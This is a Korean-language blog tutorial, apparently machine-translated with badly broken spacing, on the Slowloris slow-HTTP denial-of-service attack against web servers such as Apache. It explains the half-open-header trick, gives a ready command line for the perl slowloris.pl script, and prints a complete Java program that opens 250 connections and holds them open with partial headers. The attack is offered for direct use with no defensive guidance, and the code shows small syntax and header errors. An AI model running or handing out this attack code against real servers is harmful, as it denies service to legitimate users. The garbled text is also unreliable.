Slowloris 서비스 거부 공격

DDOS 공격 은 분포 식 으로 서비스 공격 을 거부 하 는 것 으로 번역 되 었 습 니 다.클 라 이언 트 의 요청 을 이용 하여 서버 자원 을 과도 하 게 점용 하 게 만 들 었 습 니 다.서버 는 이러한 요청 을 처리 하 느 라 바 쁘 고 합 법 적 인 사용자 의 요청 이 처리 되 지 않 아 서 비 스 를 사용 할 수 없습니다.흔히 볼 수 있 는 ddos 공격 으로 는 SYN flood,UDP flood,ICMP flood 등 이 있다.그 중에서 도 SYN flood 는 가장 전형 적 인 DDOS 공격 이다.TCP 프로 토 콜 디자인 의 결함 을 이용 한 것 이 므 로 여 기 는 피하 고 말 하지 않 겠 습 니 다.슬 로 우 로 리 스 공격 은 웹 서버 의 구멍(또는 매개 변수 설정 이 불합리 하 다)을 이용 하여 서 비 스 를 거부 하 는 것 이다.Slowloris 는 2009 년 유명 웹 보안 전문가 RSnake 가 제시 한 공격 방법 으로 서버 에 HTTP 요청 을 매우 낮은 속도 로 보 내 는 원리 다.웹 서버 는 병발 하 는 연결 수 에 대해 일정한 상한 선 이 있 기 때문에 이 연결 을 악의 적 으로 점용 하고 풀 지 않 으 면 웹 서버 의 모든 연결 이 악의 적 으로 연결 되 어 새로운 요청 을 받 아들 일 수 없어 서 서 서 비 스 를 거부 합 니 다.어떻게 악의 적 인 요청 이 라 고 할 수 있 습 니까?부분 http 요청,즉 불완전한 http 요청 을 구성 할 수 있 습 니 다.정상 적 인 http 요청 은 다음 과 같 습 니 다. GET / HTTP/1.1\r
HOST: host\r
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r
Content-Length: 42\r
\r
마지막 두 개의\r 는 http 요청 헤더 가 끝 났 음 을 표시 합 니 다.만약 에 우리 가 하 나 를 지우 면 이 가방 이 완성 되 지 않 았 음 을 표시 합 니 다.그러면 서버 는 클 라 이언 트 가 이 가방 의 나머지 부분 을 계속 보 낼 때 까지 기다 릴 것 입 니 다.이때 클 라 이언 트 는 임의의 HTTP 헤드 를 보 내 고 연결 을 유지 하면 됩 니 다.X-a:b\r 는 여러 개의 연결 을 구성 하면 서버 의 연결 수가 곧 상한 에 도달 할 것 이다.apache 의 기본 연결 수 150 개 이기 때문에 저 희 는 150 개의 연결 만 구축 하면 apache 는 새로운 요청 을 처리 하고 서 비 스 를 거부 할 수 없습니다.슬 로 우 로 리 스 공격 에 대해,http://ckers.org/slowloris/스 크 립 트 를 제공 합 니 다.직접 사용 하면 됩 니 다.perl 로 썼 습 니 다.perl 환경 만 있 으 면 됩 니 다.perl slowloris.pl -dns  www.hostname.com -port 80 -timeout  200 -num 150timeout 은 너무 짧게 설정 하지 마 세 요.num 은 몇 개의 연결 을 만 드 는 지 말 합 니 다.잠시 실행 하고 대상 애플 리 케 이 션 을 보면 연결 수가 가득 차 야 합 니 다.원 리 를 알 게 되면 우 리 는 스스로 코드 를 써 서 이런 요 구 를 구성 할 수 있다.다음은 자바 로 쓴 간단 한 예 입 니 다. package com.yeetrack.test; import java.io.DataOutputStream; import java.io.IOException; import java.net.Socket; import java.net.UnknownHostException; import java.util.ArrayList; import java.util.List; /** * @author youthflies * */ public class SlowlorisTest { /** * @param args * @throws IOException * @throws UnknownHostException * @throws InterruptedException */ public static void main(String[] args) throws InterruptedException, UnknownHostException { // TODO Auto-generated method stub int count = 250; List sockets = new ArrayList(); List dataOutputStreams = new ArrayList(); //연결 만 들 기 for(int i=1;i<=count;i++) { Socket client = null; try { client = new Socket("www.hostname", 80); sockets.add(client); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("연결 만 들 기-"+i);}//불완전한 http 요청 for(int j=0;j<=sockets.size()-1;j++) { try { DataOutputStream outputStream = new DataOutputStream(sockets.get(j).getOutputStream()); dataOutputStreams.add(outputStream); outputStream.writeBytes(" GET / HTTP/1.1\r" +"Host: www.hostname:80\r" +"Connection: keep-alive\r" +"Content-Length: 42\r"); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("부분 http 요청 보 내기-"+j);}//연결 유지 while(true){for(int i=0;i<=dataOutputStreams.size()-1;i++) { try { dataOutputStreams.get(i).writeBytes("TimeStamp:"+System.currentTimeMillis()); } catch (IOException e) { // TODO Auto-generated catch block e.printStackTrace(); } System.out.println("데 이 터 를 보 내 연결 유지"+System.currentTimeMillis();Thread.sleep(1000); } } } } 쓰다 ps-ef|grep httpd|wc-l Liux 에서 apache 의 연결 수량 을 볼 수 있 습 니 다.

좋은 웹페이지 즐겨찾기